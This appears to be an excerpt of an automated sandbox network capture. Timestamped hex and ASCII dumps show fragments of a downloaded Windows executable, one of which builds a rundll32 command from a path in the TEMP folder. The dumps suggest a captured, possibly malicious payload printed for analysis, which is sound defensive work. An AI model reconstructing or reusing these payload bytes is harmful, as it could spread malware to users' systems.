2022-08-30 13:56:29 UTC	928	IN	Data Raw: 89 bd c4 fd ff ff 8d 85 90 fd ff ff 74 06 8d 85 b8 fd ff ff 89 85 e4 fd ff ff 68 04 01 00 00 8d 85 f0 fd ff ff 50 8d 85 7c fd ff ff 50 c7 85 7c fd ff ff 54 00 45 00 c7 85 80 fd ff ff 4d 00 50 00 89 bd 84 fd ff ff ff 15 10 e0 40 00 85 c0 74 2f 8b 35 14 e0 40 00 68 94 fd 40 00 8d 85 f0 fd ff ff 50 ff d6 ff b5 e4 fd ff ff 8d 85 f0 fd ff ff 50 ff d6 8d 85 f0 fd ff ff 89 85 e4 fd ff ff 68 58 fd 40 00 e8 3e f9 ff ff 8b 35 08 e0 40 00 50 ff d6 83 7d 0c 02 0f 85 87 00 00 00 ff b5 e4 fd ff ff 8d 8d 4c fd ff ff 51 68 d8 2e 41 00 c7 85 4c fd ff ff 72 00 75 00 c7 85 50 fd ff ff 6e 00 64 00 89 9d 54 fd ff ff c7 85 58 fd ff ff 33 00 32 00 c7 85 5c fd ff ff 2e 00 65 00 c7 85 60 fd ff ff 78 00 65 00 c7 85 64 fd ff ff 20 00 22 00 c7 85 68 fd ff ff 25 00 73 00 c7 85 6c fd Data Ascii: thP\|P\|TEMP@t/5@h@PPhX@>5@P}LQh.ALruPndTX32\.e`xed "h%sl
2022-08-30 13:56:29 UTC	929	IN	Data Raw: 45 39 7d 10 74 16 39 75 0c 72 11 56 ff 75 10 ff 75 08 e8 ac 14 00 00 83 c4 0c eb c1 ff 75 0c 57 ff 75 08 e8 1b 14 00 00 83 c4 0c 39 7d 10 74 b6 39 75 0c 73 0e e8 62 04 00 00 6a 22 59 89 08 8b f1 eb ad 6a 16 58 5f 5e 5d c3 6a 0c 68 30 ff 40 00 e8 e5 11 00 00 33 c0 33 f6 39 75 08 0f 95 c0 3b c6 75 1d e8 33 04 00 00 c7 00 16 00 00 00 56 56 56 56 56 e8 b5 18 00 00 83 c4 14 83 c8 ff eb 5f e8 cc 18 00 00 6a 20 5b 03 c3 50 6a 01 e8 0d 0a Data Ascii: E9}t9urVuuuWu9}t9usbj"YjX_^]jh0@339u;u3VVVVV_j [Pj
2022-08-30 13:56:29 UTC	929	IN	Data Raw: 37 66 66 39 0d 0a c5 19 00 00 59 59 89 75 fc e8 b5 18 00 00 03 c3 50 e8 28 1a 00 00 59 8b f8 8d 45 0c 50 56 ff 75 08 e8 9d 18 00 00 03 c3 50 e8 f8 1b 00 00 89 45 e4 e8 8d 18 00 00 03 c3 50 57 e8 95 1a 00 00 83 c4 18 c7 45 fc fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 9b 11 00 00 c3 e8 67 18 00 00 83 c0 20 50 6a 01 e8 b4 19 00 00 59 59 c3 a1 20 10 41 00 83 c8 01 33 c9 39 05 00 23 41 00 0f 94 c1 8b c1 c3 51 c7 01 ec e1 40 00 e8 32 25 00 00 59 c3 56 8b f1 e8 ea ff ff ff f6 44 24 08 01 74 07 56 e8 fb fd ff ff 59 8b c6 5e c2 04 00 83 3d 0c 23 41 00 02 74 05 e8 ac 2a 00 00 ff 74 24 04 e8 03 29 00 00 68 ff 00 00 00 e8 3b 26 00 00 59 59 c3 66 81 3d 00 00 40 00 4d 5a 75 33 a1 3c 00 40 00 81 b8 00 00 40 00 50 45 00 00 75 22 66 81 b8 18 00 40 00 0b 01 75 17 83 b8 74 00 Data Ascii: 7ff9YYuP(YEPVuPEPWEEg PjYY A39#AQ@2%YVD$tVY^=#At*t$)h;&YYf=@MZu3<@@PEu"f@ut
2022-08-30 13:56:29 UTC	930	IN	Data Raw: e0 40 00 56 be a0 11 41 00 57 8b 3e 85 ff 74 13 83 7e 04 01 74 0d 57 ff d3 57 e8 40 f9 ff ff 83 26 00 59 83 c6 08 81 fe c0 12 41 00 7c dc be a0 11 41 00 5f 8b 06 85 c0 74 09 83 7e 04 01 75 03 50 ff d3 83 c6 08 81 fe c0 12 41 00 7c e6 5e 5b c3 55 8b ec 8b 45 08 ff 34 c5 a0 11 41 00 ff 15 78 e0 40 00 5d c3 6a 0c 68 70 ff 40 00 e8 e7 0b 00 00 33 ff 47 89 7d e4 33 db 39 1d 34 26 41 00 75 18 e8 8a 25 00 00 6a 1e e8 e3 23 00 00 68 ff 00 00 00 e8 1b 21 00 00 59 59 8b 75 08 8d 34 f5 a0 11 41 00 39 1e 74 04 8b c7 eb 6e 6a 18 e8 0e 35 00 00 59 8b f8 3b fb 75 0f e8 fb fd ff ff c7 00 0c 00 00 00 33 c0 eb 51 6a 0a e8 59 00 00 00 59 89 5d fc 39 1e 75 2c 68 a0 0f 00 00 57 e8 19 34 00 00 59 59 85 c0 75 17 57 e8 70 f8 ff ff 59 e8 c5 fd ff ff c7 00 0c 00 00 00 89 5d e4 eb Data Ascii: @VAW>t~tWW@&YA\|A_t~uPA\|^[UE4Ax@]jhp@3G}394&Au%j#h!YYu4A9tnj5Y;u3QjYY]9u,hW4YYuWpY]
2022-08-30 13:56:29 UTC	932	IN	Data Raw: 15 80 e0 40 00 3b c7 89 46 0c 75 12 ff 76 10 57 ff 35 34 26 41 00 ff 15 44 e0 40 00 eb 9b 83 4e 08 ff 89 3e 89 7e 04 ff 05 24 44 41 00 8b 46 10 83 08 ff 8b c6 5f 5e c3 55 8b ec 51 51 8b 4d 08 8b 41 08 53 56 8b 71 10 57 33 db eb 03 03 c0 43 85 c0 7d f9 8b c3 69 c0 04 02 00 00 8d 84 30 44 01 00 00 6a 3f 89 45 f8 5a 89 40 08 89 40 04 83 c0 08 4a 75 f4 6a 04 8b fb 68 00 10 00 00 c1 e7 0f 03 79 0c 68 00 80 00 00 57 ff 15 80 e0 40 00 85 c0 75 08 83 c8 ff e9 9d 00 00 00 8d 97 00 70 00 00 3b fa 89 55 fc 77 43 8b ca 2b cf c1 e9 0c 8d 47 10 41 83 48 f8 ff 83 88 ec 0f 00 00 ff 8d 90 fc 0f 00 00 89 10 8d 90 fc ef ff ff c7 40 fc f0 0f 00 00 89 50 04 c7 80 e8 0f 00 00 f0 0f 00 00 05 00 10 00 00 49 75 cb 8b 55 fc 8b 45 f8 05 f8 01 00 00 8d 4f 0c 89 48 04 89 41 08 8d 4a Data Ascii: @;FuvW54&AD@N>~$DAF_^UQQMASVqW3C}i0Dj?EZ@@JujhyhW@up;UwC+GAH@PIuUEOHAJ
2022-08-30 13:56:29 UTC	933	IN	Data Raw: c9 04 02 00 00 8d 8c 01 44 01 00 00 89 4d f4 8b 4c 90 44 33 ff 23 ce 75 12 8b 8c 90 c4 00 00 00 23 4d f8 6a 20 5f eb 03 03 c9 47 85 c9 7d f9 8b 4d f4 8b 54 f9 04 8b 0a 2b 4d f0 8b f1 c1 fe 04 4e 83 fe 3f 89 4d f8 7e 03 6a 3f 5e 3b f7 0f 84 01 01 00 00 8b 4a 04 3b 4a 08 75 5c 83 ff 20 bb 00 00 00 80 7d 26 8b cf d3 eb 8b 4d fc 8d 7c 38 04 f7 d3 89 5d ec 23 5c 88 44 89 5c 88 44 fe 0f 75 33 8b 4d ec 8b 5d 08 21 0b eb 2c 8d 4f e0 d3 eb 8b 4d fc 8d 8c 88 c4 00 00 00 8d 7c 38 04 f7 d3 21 19 fe 0f 89 5d ec 75 0b 8b 5d 08 8b 4d ec 21 4b 04 eb 03 8b 5d 08 83 7d f8 00 8b 4a 08 8b 7a 04 89 79 04 8b 4a 04 8b 7a 08 89 79 08 0f 84 8d 00 00 00 8b 4d f4 8d 0c f1 8b 79 04 89 4a 08 89 7a 04 89 51 04 8b 4a 04 89 51 08 8b 4a 04 3b 4a 08 75 5e 8a 4c 06 04 88 4d 0b fe c1 83 fe Data Ascii: DMLD3#u#Mj _G}MT+MN?M~j?^;J;Ju\ }&M\|8]#\D\Du3M]!,OM\|8!]u]M!K]}JzyJzyMyJzQJQJ;Ju^LM
2022-08-30 13:56:29 UTC	934	IN	Data Raw: 8e e4 89 44 8f e4 8b 44 8e e8 89 44 8f e8 8b 44 8e ec 89 44 8f ec 8b 44 8e f0 89 44 8f f0 8b 44 8e f4 89 44 8f f4 8b 44 8e f8 89 44 8f f8 8b 44 8e fc 89 44 8f fc 8d 04 8d 00 00 00 00 03 f0 03 f8 ff 24 95 c4 32 40 00 8b ff d4 32 40 00 dc 32 40 00 e8 32 40 00 fc 32 40 00 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 60 34 40 00 8b ff f7 d9 ff 24 8d 10 34 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 64 33 40 00 ff 24 8d 60 34 40 00 90 74 33 40 00 98 33 40 00 c0 33 40 00 8a 46 03 23 d1 Data Ascii: DDDDDDDDDDDDD$2@2@2@2@2@E^_E^_FGE^_IFGFGE^_t1\|9u$r$`4@$4@Ir+$d3@$`4@t3@3@3@F#
2022-08-30 13:56:29 UTC	936	IN	Data Raw: 89 7e 08 89 3e 89 5e 18 89 5e 04 81 4e 0c 02 11 00 00 5f 33 c0 5b 40 5e c3 33 c0 5e c3 83 7c 24 04 00 74 27 56 8b 74 24 0c 66 f7 46 0c 00 10 74 19 56 e8 a7 29 00 00 81 66 0c ff ee ff ff 83 66 18 00 83 26 00 83 66 08 00 59 5e c3 8b 44 24 04 85 c0 56 8b f1 c6 46 0c 00 75 63 e8 c5 1b 00 00 89 46 08 8b 48 6c 89 0e 8b 48 68 89 4e 04 8b 0e 3b 0d d8 1c 41 00 74 12 8b 0d f4 1b 41 00 85 48 70 75 07 e8 87 34 00 00 89 06 8b 46 04 3b 05 f8 1a 41 00 74 16 8b 46 08 8b 0d f4 1b 41 00 85 48 70 75 08 e8 56 2d 00 00 89 46 04 8b 46 08 f6 40 70 02 75 14 83 48 70 02 c6 46 0c 01 eb 0a 8b 08 89 0e 8b 40 04 89 46 04 8b c6 5e c2 04 00 f6 41 0c 40 74 06 83 79 08 00 74 24 ff 49 04 78 0b 8b 11 88 02 ff 01 0f b6 c0 eb 0c 0f be c0 51 50 e8 91 34 00 00 59 59 83 f8 ff 75 03 09 06 c3 ff Data Ascii: ~>^^N_3[@^3^\|$t'Vt$fFtV)ff&fY^D$VFucFHlHhN;AtAHpu4F;AtFAHpuV-FF@puHpF@F^A@tyt$IxQP4YYu
2022-08-30 13:56:29 UTC	937	IN	Data Raw: 66 f7 45 e8 30 08 75 75 81 4d e8 00 08 00 00 eb 6c 66 f7 45 e8 30 08 75 07 81 4d e8 00 08 00 00 8b 4d e0 83 f9 ff 75 05 b9 ff ff ff 7f 83 c7 04 66 f7 45 e8 10 08 89 7d d4 8b 7f fc 89 7d dc 0f 84 b4 03 00 00 3b fe 75 08 a1 44 15 41 00 89 45 dc 8b 45 dc c7 45 bc 01 00 00 00 e9 8e 03 00 00 83 e8 58 0f 84 39 02 00 00 48 48 74 5d 2b c1 0f 84 64 ff ff ff 48 48 0f 85 9e 03 00 00 83 c7 04 66 f7 45 e8 10 08 89 7d d4 74 27 0f b7 47 fc 50 68 00 02 00 00 8d 45 ec 50 8d 45 d8 50 e8 fc 32 00 00 83 c4 10 85 c0 74 16 c7 45 b0 01 00 00 00 eb 0d 8a 47 fc 88 45 ec c7 45 d8 01 00 00 00 8d 45 ec 89 45 dc e9 51 03 00 00 8b 07 83 c7 04 3b c6 89 7d d4 74 2e 8b 48 04 3b ce 74 27 66 f7 45 e8 00 08 0f bf 00 89 4d dc 74 11 99 2b c2 d1 f8 c7 45 bc 01 00 00 00 e9 1c 03 00 00 89 75 bc Data Ascii: fE0uuMlfE0uMMufE}};uDAEEEX9HHt]+dHHfE}t'GPhEPEP2tEGEEEEQ;}t.H;t'fEMt+Eu
2022-08-30 13:56:29 UTC	938	IN	Data Raw: 50 50 50 50 50 e9 23 f7 ff ff 80 7d a8 00 74 07 8b 45 a4 83 60 70 fd 8b 45 cc 8b 8d f4 01 00 00 5f 5e 33 cd 5b e8 10 d9 ff ff 81 c5 f8 01 00 00 c9 c3 8d 49 00 84 3c 40 00 eb 3a 40 00 06 3b 40 00 55 3b 40 00 8f 3b 40 00 97 3b 40 00 ce 3b 40 00 c6 3c 40 00 6a 0c 68 90 ff 40 00 e8 e2 eb ff ff 6a 0e e8 ab e0 ff ff 59 83 65 fc 00 8b 75 08 8b 4e 04 85 c9 74 2f a1 a0 27 41 00 ba 9c 27 41 00 89 45 e4 85 c0 74 11 39 08 75 2c 8b 48 04 89 4a 04 50 e8 b1 d8 ff ff 59 ff 76 04 e8 a8 d8 ff ff 59 83 66 04 00 c7 45 fc fe ff ff ff e8 0a 00 00 00 e8 d1 eb ff ff c3 8b d0 eb c5 6a 0e e8 78 df ff ff 59 c3 cc cc cc cc cc cc 8b 54 24 04 8b 4c 24 08 f7 c2 03 00 00 00 75 3c 8b 02 3a 01 75 2e 0a c0 74 26 3a 61 01 75 25 0a e4 74 1d c1 e8 10 3a 41 02 75 19 0a c0 74 11 3a 61 03 75 10 Data Ascii: PPPPP#}tE`pE_^3[I<@:@;@U;@;@;@;@<@jh@jYeuNt/'A'AEt9u,HJPYvYfEjxYT$L$u<:u.t&:au%t:Aut:au
2022-08-30 13:56:29 UTC	940	IN	Data Raw: f6 56 56 56 56 56 e8 d6 ec ff ff 83 c4 14 eb 02 33 f6 68 08 e8 40 00 53 55 e8 9c 30 00 00 83 c4 0c 85 c0 74 0d 56 56 56 56 56 e8 b2 ec ff ff 83 c4 14 ff 34 fd 5c 15 41 00 53 55 e8 7a 30 00 00 83 c4 0c 85 c0 74 0d 56 56 56 56 56 e8 90 ec ff ff 83 c4 14 68 10 20 01 00 68 e0 e7 40 00 55 e8 b8 2e 00 00 83 c4 0c eb 33 6a f4 ff 15 94 e0 40 00 8b e8 3b ee 74 25 83 fd ff 74 20 6a 00 8d 44 24 14 50 8d 34 fd 5c 15 41 00 ff 36 e8 71 26 00 00 59 50 ff 36 55 ff 15 90 e0 40 00 5d 5f 5e 5b 59 c3 6a 03 e8 35 31 00 00 83 f8 01 59 74 15 6a 03 e8 28 31 00 00 85 c0 59 75 1f 83 3d 1c 10 41 00 01 75 16 68 fc 00 00 00 e8 34 fe ff ff 68 ff 00 00 00 e8 2a fe ff ff 59 59 c3 c3 55 8b ec 51 51 56 e8 b0 0a 00 00 8b f0 85 f6 75 0e ff 75 0c ff 15 5c e0 40 00 e9 4d 01 00 00 8b 56 5c a1 Data Ascii: VVVVV3h@SU0tVVVVV4\ASUz0tVVVVVh h@U.3j@;t%t jD$P4\A6q&YP6U@]_^[Yj51Ytj(1Yu=Auh4h*YYUQQVuu\@MV\
2022-08-30 13:56:29 UTC	941	IN	Data Raw: 41 00 eb 05 a1 14 2d 41 00 83 f8 01 75 54 3b f7 75 0f ff d3 8b f0 3b f7 75 07 33 c0 e9 f4 00 00 00 66 39 3e 8b c6 74 0e 40 40 66 39 38 75 f9 40 40 66 39 38 75 f2 2b c6 40 40 8b e8 55 e8 b7 0a 00 00 8b d8 85 db 59 75 0c 56 ff 15 a8 e0 40 00 e9 be 00 00 00 55 56 53 e8 bc e3 ff ff 83 c4 0c eb e7 83 f8 02 74 04 3b c7 75 af ff 15 a4 e0 40 00 8b e8 33 db 3b eb 74 a1 38 5d 00 8b f5 74 23 53 53 6a ff 56 6a 01 53 ff 15 00 e0 40 00 3b c3 74 88 56 03 f8 e8 0f 21 00 00 8d 74 06 01 38 1e 59 75 dd 47 6a 02 57 89 7c 24 18 e8 89 0a 00 00 8b d8 85 db 59 59 75 0c 55 ff 15 a0 e0 40 00 e9 56 ff ff ff 80 7d 00 00 8b fd 8b f3 74 3a 8b 4c 24 10 8b c6 2b c3 d1 f8 2b c8 51 56 6a ff 57 6a 01 6a 00 ff 15 00 e0 40 00 85 c0 74 2e 57 e8 b6 20 00 00 56 8d 7c 07 01 e8 3a 2c 00 00 80 3f Data Ascii: A-AuT;u;u3f9>t@@f98u@@f98u+@@UYuV@UVSt;u@3;t8]t#SSjVjS@;tV!t8YuGjW\|$YYuU@V}t:L$++QVjWjj@t.W V\|:,?
2022-08-30 13:56:29 UTC	942	IN	Data Raw: 35 28 2d 41 00 e8 54 ff ff ff 59 ff d0 83 0d c0 16 41 00 ff a1 c4 16 41 00 83 f8 ff 74 0e 50 ff 15 d0 e0 40 00 83 0d c4 16 41 00 ff e9 aa cf ff ff 6a 0c 68 f0 ff 40 00 e8 fb db ff ff 68 54 e8 40 00 ff 15 88 e0 40 00 89 45 e4 8b 75 08 c7 46 5c 10 16 41 00 33 ff 47 89 7e 14 85 c0 74 24 68 44 e8 40 00 50 8b 1d 08 e0 40 00 ff d3 89 86 f8 01 00 00 68 64 e8 40 00 ff 75 e4 ff d3 89 86 fc 01 00 00 89 7e 70 c6 86 c8 00 00 00 43 c6 86 4b 01 00 00 43 b8 d0 16 41 00 89 46 68 50 ff 15 d4 e0 40 00 6a 0c e8 5e d0 ff ff 59 83 65 fc 00 8b 45 0c 89 46 6c 85 c0 75 08 a1 d8 1c 41 00 89 46 6c ff 76 6c e8 39 18 00 00 59 c7 45 fc fe ff ff ff e8 06 00 00 00 e8 a2 db ff ff c3 6a 0c e8 4d cf ff ff 59 c3 56 57 ff 15 40 e0 40 00 8b f8 e8 d6 fe ff ff ff 35 c0 16 41 00 ff 35 c4 16 41 Data Ascii: 5(-ATYAAtP@Ajh@hT@@EuF\A3G~t$hD@P@hd@u~pCKCAFhP@j^YeEFluAFlvl9YEjMYVW@@5A5A
2022-08-30 13:56:29 UTC	944	IN	Data Raw: 08 ff d6 89 45 e0 eb 2f 8b 45 ec 8b 00 8b 00 89 45 dc 33 c9 3d 17 00 00 c0 0f 94 c1 8b c1 c3 8b 65 e8 81 7d dc 17 00 00 c0 75 08 6a 08 ff 15 d8 e0 40 00 83 65 e0 00 c7 45 fc fe ff ff ff 8b 45 e0 e8 de d6 ff ff c3 56 57 33 f6 ff 74 24 0c e8 3c 1a 00 00 8b f8 85 ff 59 75 27 39 05 30 2d 41 00 76 1f 56 ff 15 f8 e0 40 00 8d 86 e8 03 00 00 3b 05 30 2d 41 00 76 03 83 c8 ff 83 f8 ff 8b f0 75 c9 8b c7 5f 5e c3 56 57 33 f6 6a 00 ff 74 24 14 ff 74 24 14 e8 01 22 00 00 8b f8 83 c4 0c 85 ff 75 27 39 05 30 2d 41 00 76 1f 56 ff 15 f8 e0 40 00 8d 86 e8 03 00 00 3b 05 30 2d 41 00 76 03 83 c8 ff 83 f8 ff 8b f0 75 c1 8b c7 5f 5e c3 56 57 33 f6 ff 74 24 10 ff 74 24 10 e8 d9 22 00 00 8b f8 85 ff 59 59 75 2d 39 44 24 10 74 27 39 05 30 2d 41 00 76 1f 56 ff 15 f8 e0 40 00 8d 86 Data Ascii: E/EE3=e}uj@eEEVW3t$<Yu'90-AvV@;0-Avu_^VW3jt$t$"u'90-AvV@;0-Avu_^VW3t$t$"YYu-9D$t'90-AvV@
2022-08-30 13:56:29 UTC	945	IN	Data Raw: 8b 54 24 10 89 02 b8 03 00 00 00 c3 55 8b 4c 24 08 8b 29 ff 71 1c ff 71 18 ff 71 28 e8 15 ff ff ff 83 c4 0c 5d c2 04 00 55 56 57 53 8b ea 33 c0 33 db 33 d2 33 f6 33 ff ff d1 5b 5f 5e 5d c3 8b ea 8b f1 8b c1 6a 01 e8 47 21 00 00 33 c0 33 db 33 c9 33 d2 33 ff ff e6 55 8b ec 53 56 57 6a 00 6a 00 68 af 5d 40 00 51 e8 4d 47 00 00 5f 5e 5b 5d c3 55 8b 6c 24 08 52 51 ff 74 24 14 e8 b4 fe ff ff 83 c4 0c 5d c2 08 00 cc cc cc cc cc 8b 4c 24 04 66 81 39 4d 5a 74 03 33 c0 c3 8b 41 3c 03 c1 81 38 50 45 00 00 75 f0 33 c9 66 81 78 18 0b 01 0f 94 c1 8b c1 c3 cc cc cc cc cc cc cc 8b 44 24 04 8b 48 3c 03 c8 0f b7 41 14 53 56 0f b7 71 06 33 d2 85 f6 57 8d 44 08 18 76 1e 8b 7c 24 14 8b 48 0c 3b f9 72 09 8b 58 08 03 d9 3b fb 72 0c 83 c2 01 83 c0 28 3b d6 72 e6 33 c0 5f 5e 5b Data Ascii: T$UL$)qqq(]UVWS33333[_^]jG!33333USVWjjh]@QMG_^[]Ul$RQt$]L$f9MZt3A<8PEu3fxD$H<ASVq3WDv\|$H;rX;r(;r3_^[
2022-08-30 13:56:29 UTC	947	IN	Data Raw: e8 45 d4 ff ff 59 59 33 d2 42 89 55 fc a1 14 34 41 00 8b 04 b0 8b 48 0c f6 c1 83 74 2f 39 55 08 75 11 50 e8 50 ff ff ff 59 83 f8 ff 74 1e ff 45 e4 eb 19 39 7d 08 75 14 f6 c1 02 74 0f 50 e8 35 ff ff ff 59 83 f8 ff 75 03 09 45 dc 89 7d fc e8 08 00 00 00 46 eb 84 33 ff 8b 75 e0 a1 14 34 41 00 ff 34 b0 56 e8 32 d4 ff ff 59 59 c3 c7 45 fc fe ff ff ff e8 12 00 00 00 83 7d 08 01 8b 45 e4 74 03 8b 45 dc e8 e8 cb ff ff c3 6a 01 e8 93 bf ff ff 59 c3 6a 01 e8 1f ff ff ff 59 c3 8b 44 24 04 83 f8 fe 75 0e e8 e3 bd ff ff c7 00 09 00 00 00 33 c0 c3 56 33 f6 3b c6 7c 08 3b 05 f4 32 41 00 72 1c e8 c6 bd ff ff 56 56 56 56 56 c7 00 09 00 00 00 e8 48 d2 ff ff 83 c4 14 33 c0 5e c3 8b c8 83 e0 1f 6b c0 28 c1 f9 05 8b 0c 8d 00 33 41 00 0f b6 44 01 04 83 e0 40 5e c3 8b 44 24 04 Data Ascii: EYY3BU4AHt/9UuPPYtE9}utP5YuE}F3u4A4V2YYE}EtEjYjYD$u3V3;\|;2ArVVVVVH3^k(3AD@^D$
2022-08-30 13:56:29 UTC	948	IN	Data Raw: e0 83 c6 08 83 7d e0 04 89 75 e4 72 e9 8b c7 89 7b 04 c7 43 08 01 00 00 00 e8 b1 fb ff ff 6a 06 89 43 0c 8d 43 10 8d 89 04 1b 41 00 5a 66 8b 31 41 66 89 30 41 40 40 4a 75 f3 8b f3 e8 12 fc ff ff e9 e5 fe ff ff 80 4c 03 1d 04 40 3b c1 76 f6 46 46 80 7e ff 00 0f 85 34 ff ff ff 8d 43 1e b9 fe 00 00 00 80 08 08 40 49 75 f9 8b 43 04 e8 5c fb ff ff 89 43 0c 89 53 08 eb 03 89 73 08 33 c0 8d 7b 10 ab ab ab eb b2 39 35 34 2d 41 00 0f 85 90 fe ff ff 83 c8 ff 8b 4d fc 5f 5e 33 cd 5b e8 27 b3 ff ff c9 c3 6a 14 68 e0 00 41 00 e8 22 c6 ff ff 83 4d e0 ff e8 49 eb ff ff 8b f8 89 7d dc e8 18 fd ff ff 8b 5f 68 8b 75 08 e8 b1 fd ff ff 89 45 08 3b 43 04 0f 84 57 01 00 00 68 20 02 00 00 e8 56 ef ff ff 59 8b d8 85 db 0f 84 46 01 00 00 b9 88 00 00 00 8b 77 68 8b fb f3 a5 83 23 Data Ascii: }ur{CjCCAZf1Af0A@@JuL@;vFF~4C@IuC\CSs3{954-AM_^3['jhA"MI}_huE;CWh VYFwh#
2022-08-30 13:56:29 UTC	949	IN	Data Raw: 0c e8 6d b5 ff ff 59 8b 75 e4 c3 55 8b ec 51 56 8b 75 0c 56 e8 30 f6 ff ff 89 45 0c 8b 46 0c a8 82 59 75 17 e8 b3 b3 ff ff c7 00 09 00 00 00 83 4e 0c 20 83 c8 ff e9 2d 01 00 00 a8 40 74 0d e8 98 b3 ff ff c7 00 22 00 00 00 eb e3 53 33 db a8 01 74 16 a8 10 89 5e 04 0f 84 85 00 00 00 8b 4e 08 83 e0 fe 89 0e 89 46 0c 8b 46 0c 83 e0 ef 83 c8 02 66 a9 0c 01 89 46 0c 89 5e 04 89 5d fc 75 2c e8 0c c8 ff ff 83 c0 20 3b f0 74 0c e8 00 c8 ff ff 83 c0 40 3b f0 75 0d ff 75 0c e8 4a f5 ff ff 85 c0 59 75 07 56 e8 b3 24 00 00 59 66 f7 46 0c 08 01 57 0f 84 80 00 00 00 8b 46 08 8b 3e 8d 48 01 89 0e 8b 4e 18 2b f8 49 3b fb 89 4e 04 7e 1d 57 50 ff 75 0c e8 41 18 00 00 83 c4 0c 89 45 fc eb 4d 83 c8 20 89 46 0c 83 c8 ff eb 79 8b 4d 0c 83 f9 ff 74 1b 83 f9 fe 74 16 8b c1 83 e0 Data Ascii: mYuUQVuV0EFYuN -@t"S3t^NFFfF^]u, ;t@;uuJYuV$YfFWF>HN+I;N~WPuAEM FyMtt
2022-08-30 13:56:29 UTC	951	IN	Data Raw: ff ff 68 ff 00 00 00 e8 70 d1 ff ff 59 59 a1 3c 44 41 00 83 f8 01 75 0e 3b ee 74 04 8b c5 eb 03 33 c0 40 50 eb 1e 83 f8 03 75 0b 55 e8 53 ff ff ff 3b c6 59 75 17 3b ee 75 03 33 ff 47 83 c7 0f 83 e7 f0 57 56 ff 35 34 26 41 00 ff d3 8b f0 85 f6 75 26 39 05 fc 2d 41 00 6a 0c 5f 74 0d 55 e8 ce 03 00 00 85 c0 59 75 81 eb 07 e8 13 ae ff ff 89 38 e8 0c ae ff ff 89 38 5f 8b c6 5e 5b 5d c3 55 e8 ac 03 00 00 59 e8 f7 ad ff ff c7 00 0c 00 00 00 33 c0 5d c3 51 53 55 56 57 ff 35 08 34 41 00 e8 a2 de ff ff ff 35 04 34 41 00 8b f0 89 74 24 18 e8 91 de ff ff 8b f8 3b fe 59 59 72 7c 8b df 2b de 8d 6b 04 83 fd 04 72 70 56 e8 1e 22 00 00 8b f0 3b f5 59 73 4a b8 00 08 00 00 3b f0 73 02 8b c6 03 c6 3b c6 72 10 50 ff 74 24 14 e8 1f e5 ff ff 85 c0 59 59 75 17 8d 46 10 3b c6 72 Data Ascii: hpYY<DAu;t3@PuUS;Yu;u3GWV54&Au&9-Aj_tUYu88_^[]UY3]QSUVW54A54At$;YYr\|+krpV";YsJ;s;rPt$YYuF;r
2022-08-30 13:56:29 UTC	952	IN	Data Raw: ec 2d 41 00 e8 e6 d9 ff ff 59 ff d0 85 c0 74 06 f6 45 e8 01 75 33 8d 45 f4 50 e8 9a cc ff ff 85 c0 59 74 0d 53 53 53 53 53 e8 92 bc ff ff 83 c4 14 83 7d f4 04 72 09 81 4d 10 00 00 20 00 eb 3a 81 4d 10 00 00 04 00 eb 31 a1 e0 2d 41 00 3b c6 74 28 50 e8 97 d9 ff ff 59 ff d0 3b c3 89 45 fc 74 18 a1 e4 2d 41 00 3b c6 74 0f ff 75 fc 50 e8 7b d9 ff ff 59 ff d0 89 45 fc ff 75 10 ff 75 0c ff 75 08 ff 75 fc ff 35 dc 2d 41 00 e8 5e d9 ff ff 59 ff d0 5f 5e 5b c9 c3 8b 44 24 04 53 33 db 3b c3 56 57 74 08 8b 7c 24 14 3b fb 77 1b e8 77 a8 ff ff 6a 16 5e 89 30 53 53 53 53 53 e8 fa bc ff ff 83 c4 14 8b c6 eb 3d 8b 74 24 18 3b f3 75 04 88 18 eb d9 8b d0 38 1a 74 04 42 4f 75 f8 3b fb 74 ee 8a 0e 88 0a 42 46 3a cb 74 03 4f 75 f3 3b fb 75 10 88 18 e8 2f a8 ff ff 6a 22 59 89 Data Ascii: -AYtEu3EPYtSSSSS}rM :M1-A;t(PY;Et-A;tuP{YEuuuu5-A^Y_^[D$S3;VWt\|$;wwj^0SSSSS=t$;u8tBOu;tBF:tOu;u/j"Y
2022-08-30 13:56:29 UTC	953	IN	Data Raw: 15 84 e0 40 00 8b f8 85 ff 75 56 39 05 fc 2d 41 00 74 34 56 e8 67 f9 ff ff 59 85 c0 74 1f 83 fe e0 76 cd 56 e8 57 f9 ff ff 59 e8 a2 a3 ff ff c7 00 0c 00 00 00 33 c0 e8 79 b1 ff ff c3 e8 8f a3 ff ff e9 7c ff ff ff 85 ff 75 16 e8 81 a3 ff ff 8b f0 ff 15 40 e0 40 00 50 e8 38 a3 ff ff 89 06 59 8b c7 eb d2 cc cc cc 55 8b ec 53 56 57 55 6a 00 6a 00 68 d8 7d 40 00 ff 75 08 e8 24 27 00 00 5d 5f 5e 5b 8b e5 5d c3 8b 4c 24 04 f7 41 04 06 00 00 00 b8 01 00 00 00 74 32 8b 44 24 14 8b 48 fc 33 c8 e8 bf 9d ff ff 55 8b 68 10 8b 50 28 52 8b 50 24 52 e8 14 00 00 00 83 c4 08 5d 8b 44 24 08 8b 54 24 10 89 02 b8 03 00 00 00 c3 53 56 57 8b 44 24 10 55 50 6a fe 68 e0 7d 40 00 64 ff 35 00 00 00 00 a1 20 10 41 00 33 c4 50 8d 44 24 04 64 a3 00 00 00 00 8b 44 24 28 8b 58 08 8b 70 Data Ascii: @uV9-At4VgYtvVWY3y\|u@@P8YUSVWUjjh}@u$']_^[]L$At2D$H3UhP(RP$R]D$T$SVWD$UPjh}@d5 A3PD$dD$(Xp
